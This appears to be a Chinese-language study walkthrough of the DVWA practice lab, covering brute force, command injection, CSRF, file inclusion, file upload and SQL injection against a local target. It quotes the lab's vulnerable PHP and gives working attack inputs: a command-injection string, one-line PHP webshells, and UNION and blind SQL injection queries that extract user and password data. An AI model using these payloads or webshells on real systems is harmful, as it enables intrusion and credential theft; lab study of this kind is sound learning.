Brute Force
第一个是暴力破解
首先看看源代码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
mysqli_query($GLOBALS["___mysqli_ston"], $query )
这个在百度上查找了,这是解释
$GLOBALS — 引用全局作用域中可用的全部变量
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
MySQLConverter assumes that this global variable is set to equal your DB connection object; if the converter finds a mysql_connect it will (partially, but with a warning) convert your code into code that includes an assignment of $GLOBALS[“___mysqli_ston”] to the result of the mysqli_connect function something like this:
link=(link=(GLOBALS[“___mysqli_ston”] = mysqli_connect(hostname,hostname,username, $pwd));
相当于数据库连接
可以看到没有对账号,密码过滤
可以用万能密码和爆破工具
用爆破工具
用万能钥匙
Command Injection
即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。
首先来看看源代码
Command Injection Source
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
对于$_REQUEST[ip]
php中有$_request与$_post、$_get用于接受表单数据,当时他们有何种区别,什么时候用那种最好。
一、$_request与$_post、$_get的区别和特点
$_REQUEST[]具用$_POST[] $_GET[]的功能,但是$_REQUEST[]比较慢。通过post和get方法提交的所有数据都可以通过$_REQUEST数组获得
即接收这个输入框的内容
stristr(()函数
实例
查找 "world" 在 "Hello world!" 中的第一次出现,并返回字符串的剩余部分:
<?php
echo stristr("Hello world!","WORLD");
?>
php_uname函数
这段代码的意思是执行系统ping命令
可以看到,没有做任何过滤
没有对ip进行任何过滤,则可以利用&&执行其他命令
127.0.0.1&&net user
Cross Site Request Forgery (CSRF)
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
首先看看源代码
CSRF Source
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
mysql_real_escape_string() 函数
转义 SQL 语句中使用的字符串中的特殊字符。
Vulnerability: File Inclusion
File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
首先看看源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
没有进行任何过滤
首先看看第一个文件
修改page的参数
爆出来了绝对路径
可以使用原创文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
在另一台服务器写一个php代码
比如在162.168.1.1/1.php
利用远程文件包含
即可在127.0.0.1下执行192.168.0.1下的文件
Vulnerability: File Upload
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
上传一个php文件试试
首先看看源代码
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";//为上传的绝对路径
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );//取上传的文件名
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
// 将$_FILES[ 'uploaded' ][ 'tmp_name' ]文件移动到$target_path 并判断是否移动到制定位置
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
没有进行任何的过滤,什么文件都可以上传
上传一句话木马试试
编写一句话木马
<?php
echo shell_exec($_GET(cmd));
?>
保存为1.php
然后上传
编写菜刀一句话木马
<?php
@eval($POST_(['cmd']);
?>
搞定
Vulnerability: Insecure CAPTCHA
这个以后再写.....
Vulnerability: SQL Injection
即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
下面简要介绍手工注入(非盲注)的步骤。
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
首先看看源代码,看看有没有对参数过滤
SQL Injection Source
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
// mysql_fetch_assoc() 函数从结果集中取得一行作为关联数组。
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
v
可以看到
没有对参数ID进行任何过滤
按照步骤,先判断是字符型还是整数型
字符型
第二
猜解字段数
接下来爆回显
接下来爆当先数据库名
然后爆表名
http://127.0.0.1/dvwa/vulnerabilities/sqli/
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() %23
&Submit=Submit#
爆出两个表分别是users,guestbook
然后爆字段,列名
http://127.0.0.1/dvwa/vulnerabilities/sqli/
?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' %23
&Submit=Submit#
然后爆字段数
http://127.0.0.1/dvwa/vulnerabilities/sqli/
?id=-1' union select 1,group_concat(user,password) from users %23
&Submit=Submit#
Vulnerability: SQL Injection (Blind)
盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
手工盲注思路
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。
下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
看看源码
SQL Injection (Blind) Source
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
使用了$GLOBALS['__mysqli_ston']和@这个符号来关闭错误回显
1.判定为字符型
2.判断数据库
利用length来判断数据库的长度
id=1'and length(database())=1 %23
//改变1从1开始判断得到数据库的长度
得到数据库的长度为4 即数据库是右四个字母或数字等组合
接下来利用二分法一个个猜解这四个字符
id=1'and ascii(substr(database(),1,1))>100 %23
改变100利用二分法确定
正好是100,对应的是d
重复猜解完四个就得到数据库名称为dvwa
再猜解表
//利用count来猜解有多少个表
?id and (select count(table_name) from information_schema.tables where table_schema=database())=1 %23
//改变1的值判断有多少个表
//结果当值为2时返回成功
接下里猜解这两个表的表名
首先要分别判断这两个表的长度
?id' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 %23
第一个表名的长度为9
第二个表的长度为5
再一个个判断表名称
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
依次可得到这两个表分别是guestbook、users
接下来判断表的字段数,利用上面道理可获得
用sqlmap吧,盲注好累......
Vulnerability: Weak Session IDs